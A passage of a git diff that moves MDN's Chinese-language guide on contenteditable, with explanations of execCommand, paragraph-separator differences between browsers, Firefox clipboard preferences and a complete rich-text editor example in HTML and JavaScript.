-JavaScript:
-function doRichEditCommand(aName, aArg){
-  getIFrameDocument('editorWindow').execCommand(aName,false, aArg);
-  document.getElementById('editorWindow').contentWindow.focus()
-}
- -

示例:一个简易但完整的富文本编辑器

- -
<!doctype html>
-<html>
-<head>
-<title>Rich Text Editor</title>
-<script type="text/javascript">
-var oDoc, sDefTxt;
-
-function initDoc() {
-  oDoc = document.getElementById("textBox");
-  sDefTxt = oDoc.innerHTML;
-  if (document.compForm.switchMode.checked) { setDocMode(true); }
-}
-
-function formatDoc(sCmd, sValue) {
-  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
-}
-
-function validateMode() {
-  if (!document.compForm.switchMode.checked) { return true ; }
-  alert("Uncheck \"Show HTML\".");
-  oDoc.focus();
-  return false;
-}
-
-function setDocMode(bToSource) {
-  var oContent;
-  if (bToSource) {
-    oContent = document.createTextNode(oDoc.innerHTML);
-    oDoc.innerHTML = "";
-    var oPre = document.createElement("pre");
-    oDoc.contentEditable = false;
-    oPre.id = "sourceText";
-    oPre.contentEditable = true;
-    oPre.appendChild(oContent);
-    oDoc.appendChild(oPre);
-  } else {
-    if (document.all) {
-      oDoc.innerHTML = oDoc.innerText;
-    } else {
-      oContent = document.createRange();
-      oContent.selectNodeContents(oDoc.firstChild);
-      oDoc.innerHTML = oContent.toString();
-    }
-    oDoc.contentEditable = true;
-  }
-  oDoc.focus();
-}
-
-function printDoc() {
-  if (!validateMode()) { return; }
-  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
-  oPrntWin.document.open();
-  oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>");
-  oPrntWin.document.close();
-}
-</script>
-<style type="text/css">
-.intLink { cursor: pointer; }
-img.intLink { border: 0; }
-#toolBar1 select { font-size:10px; }
-#textBox {
-  width: 540px;
-  height: 200px;
-  border: 1px #000000 solid;
-  padding: 12px;
-  overflow: scroll;
-}
-#textBox #sourceText {
-  padding: 0;
-  margin: 0;
-  min-width: 498px;
-  min-height: 200px;
-}
-#editMode label { cursor: pointer; }
-</style>
-</head>
-<body onload="initDoc();">
-<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;">
-<input type="hidden" name="myDoc">
-<div id="toolBar1">
-<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option selected>- formatting -</option>
-<option value="h1">Title 1 &lt;h1&gt;</option>
-<option value="h2">Title 2 &lt;h2&gt;</option>
-<option value="h3">Title 3 &lt;h3&gt;</option>
-<option value="h4">Title 4 &lt;h4&gt;</option>
-<option value="h5">Title 5 &lt;h5&gt;</option>
-<option value="h6">Subtitle &lt;h6&gt;</option>
-<option value="p">Paragraph &lt;p&gt;</option>
-<option value="pre">Preformatted &lt;pre&gt;</option>
-</select>
-<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- font -</option>
-<option>Arial</option>
-<option>Arial Black</option>
-<option>Courier New</option>
-<option>Times New Roman</option>
-</select>
-<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- size -</option>
-<option value="1">Very small</option>
-<option value="2">A bit small</option>
-<option value="3">Normal</option>
-<option value="4">Medium-large</option>
-<option value="5">Big</option>
-<option value="6">Very big</option>
-<option value="7">Maximum</option>
-</select>
-<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- color -</option>
-<option value="red">Red</option>
-<option value="blue">Blue</option>
-<option value="green">Green</option>
-<option value="black">Black</option>
-</select>
-<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- background -</option>
-<option value="red">Red</option>
-<option value="green">Green</option>
-<option value="black">Black</option>
-</select>
-</div>
-<div id="toolBar2">
-<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" />
-<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC">
-<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" />
-<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" />
-<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg==">
-<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" />
-<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" />
-<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" />
-<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" />
-<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" />
-<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" />
-<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" />
-<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" />
-<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" />
-<img class="intLink" title="Add indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" />
-<img class="intLink" title="Delete indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" />
-<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" />
-<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" />
-<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" />
-<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" />
-</div>
-<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div>
-<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p>
-<p><input type="submit" value="Send" /></p>
-</form>
-</body>
-</html>
- - - -

注意: 如果你想查看如何将创建与插入编辑器至页面的流程标准化的内容,请查看 more complete rich-text editor example.

- -

相关资源

- - diff --git a/files/zh-cn/web/guide/html/editable_content/index.html b/files/zh-cn/web/guide/html/editable_content/index.html new file mode 100644 index 0000000000..00f44d6fd7 --- /dev/null +++ b/files/zh-cn/web/guide/html/editable_content/index.html @@ -0,0 +1,219 @@ +--- +title: Content Editable +slug: Web/Guide/HTML/Content_Editable +translation_of: Web/Guide/HTML/Editable_content +--- +

在HTML中,任何元素都可以被编辑。通过使用一些JavaScript事件处理程序,您可以将您的网页转换为完整且快速的富文本编辑器。本文提供了有关此功能的一些信息。

+ +

它是如何工作的?

+ +

为了使元素可编辑,你所要做的就是在html标签上设置"contenteditable"属性,它几乎支持所有的HTML元素。

+ +

下面是一个简单的示例,创建一个"contenteditable"属性为"true"的div元素,用户就可以编辑其内容了。

+ +
<div contenteditable="true">
+  This text can be edited by the user.
+</div>
+ +

这是上面代码运行的结果:

+ +

{{ EmbedLiveSample('How_does_it_work') }}

+ +

执行命令设置可编辑区域

+ +

当一个HTML元素的contenteditable属性被设置为true时,{{ domxref("document.execCommand()") }} 方法便可使用。通过该方法,你可以运行相关commands 来操作可编辑区域的内容。其中大多数命令都会影响文档的选择,例如,给文本提供一个样式(加粗,倾斜等)、插入新元素(如增加一个链接)、影响一整行文本(如缩进排版)。当使用contentEditable后,调用execCommand()方法将影响当前处于活动状态的可编辑元素

+ +

在标记生成上的不同点

+ +

因为各个浏览器在标记生成上的不同,因此跨浏览器使用 contenteditable 一直以来都是痛点,例如一些看起来十分简单的事情,如: 当你按下Enter/Return键在可编辑区域中创建一个新的文本行时,不同主流浏览器对此有不同处理(Firefox 插入{{htmlelement("br")}}、IE/Opera将使用{{htmlelement("p")}}、 Chrome/Safari 将使用 {{htmlelement("div")}})

+ +

幸运的是在现代浏览器中,这些不同都趋于一致了。截止到Firefox 60,火狐开始使用{{htmlelement("div")}}元素来包裹新生成的文本行,以与Chrome, modern Opera, Edge, and Safari.的行为趋于一致

+ +
+

注意: Internet Explorer使用 {{htmlelement("p")}} 元素而不是 <div>.

+
+ +

如果你想使用不同的方式创建新的段落,上面所有浏览器都支持{{domxref("document.execCommand")}}方法,该方法提供的 defaultParagraphSeparator 命令能够让你以不同的方式创建新的段落例如, 使用 {{htmlelement("p")}} 元素:

+ +
document.execCommand("defaultParagraphSeparator", false, "p");
+ +

另外,从FireFox 55开始,火狐还为defaultParagraphSeparator支持非标准化参数br。如果你的Web应用程序通过检查浏览器是否为火狐来支持旧的FireFox行为,这将非常有用。但不幸的是,你并没有多少时间来为新的Firefox修复你的Web应用,你可以在初始化designModecontenteditable时插入下面的代码来恢复较早的Firefox行为:

+ +
document.execCommand("defaultParagraphSeparator", false, "br");
+ +

安全性

+ +

出于安全原因,火狐浏览器默认不允许JavaScript代码使用剪贴板相关特性(如复制、粘贴等)。你可以在about:config中设置如下选项来启用它们:

+ +
user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");
+ +

例子:一个简单但完整的富文本编辑器

+ +
+
<!doctype html>
+<html>
+<head>
+<title>Rich Text Editor</title>
+<script type="text/javascript">
+var oDoc, sDefTxt;
+
+function initDoc() {
+  oDoc = document.getElementById("textBox");
+  sDefTxt = oDoc.innerHTML;
+  if (document.compForm.switchMode.checked) { setDocMode(true); }
+}
+
+function formatDoc(sCmd, sValue) {
+  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
+}
+
+function validateMode() {
+  if (!document.compForm.switchMode.checked) { return true ; }
+  alert("Uncheck \"Show HTML\".");
+  oDoc.focus();
+  return false;
+}
+
+function setDocMode(bToSource) {
+  var oContent;
+  if (bToSource) {
+    oContent = document.createTextNode(oDoc.innerHTML);
+    oDoc.innerHTML = "";
+    var oPre = document.createElement("pre");
+    oDoc.contentEditable = false;
+    oPre.id = "sourceText";
+    oPre.contentEditable = true;
+    oPre.appendChild(oContent);
+    oDoc.appendChild(oPre);
+    document.execCommand("defaultParagraphSeparator", false, "div");
+  } else {
+    if (document.all) {
+      oDoc.innerHTML = oDoc.innerText;
+    } else {
+      oContent = document.createRange();
+      oContent.selectNodeContents(oDoc.firstChild);
+      oDoc.innerHTML = oContent.toString();
+    }
+    oDoc.contentEditable = true;
+  }
+  oDoc.focus();
+}
+
+function printDoc() {
+  if (!validateMode()) { return; }
+  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
+  oPrntWin.document.open();
+  oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>");
+  oPrntWin.document.close();
+}
+</script>
+<style type="text/css">
+.intLink { cursor: pointer; }
+img.intLink { border: 0; }
+#toolBar1 select { font-size:10px; }
+#textBox {
+  width: 540px;
+  height: 200px;
+  border: 1px #000000 solid;
+  padding: 12px;
+  overflow: scroll;
+}
+#textBox #sourceText {
+  padding: 0;
+  margin: 0;
+  min-width: 498px;
+  min-height: 200px;
+}
+#editMode label { cursor: pointer; }
+</style>
+</head>
+<body onload="initDoc();">
+<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;">
+<input type="hidden" name="myDoc">
+<div id="toolBar1">
+<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option selected>- formatting -</option>
+<option value="h1">Title 1 &lt;h1&gt;</option>
+<option value="h2">Title 2 &lt;h2&gt;</option>
+<option value="h3">Title 3 &lt;h3&gt;</option>
+<option value="h4">Title 4 &lt;h4&gt;</option>
+<option value="h5">Title 5 &lt;h5&gt;</option>
+<option value="h6">Subtitle &lt;h6&gt;</option>
+<option value="p">Paragraph &lt;p&gt;</option>
+<option value="pre">Preformatted &lt;pre&gt;</option>
+</select>
+<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- font -</option>
+<option>Arial</option>
+<option>Arial Black</option>
+<option>Courier New</option>
+<option>Times New Roman</option>
+</select>
+<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- size -</option>
+<option value="1">Very small</option>
+<option value="2">A bit small</option>
+<option value="3">Normal</option>
+<option value="4">Medium-large</option>
+<option value="5">Big</option>
+<option value="6">Very big</option>
+<option value="7">Maximum</option>
+</select>
+<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- color -</option>
+<option value="red">Red</option>
+<option value="blue">Blue</option>
+<option value="green">Green</option>
+<option value="black">Black</option>
+</select>
+<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- background -</option>
+<option value="red">Red</option>
+<option value="green">Green</option>
+<option value="black">Black</option>
+</select>
+</div>
+<div id="toolBar2">
+<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" />
+<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC">
+<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" />
+<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" />
+<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/m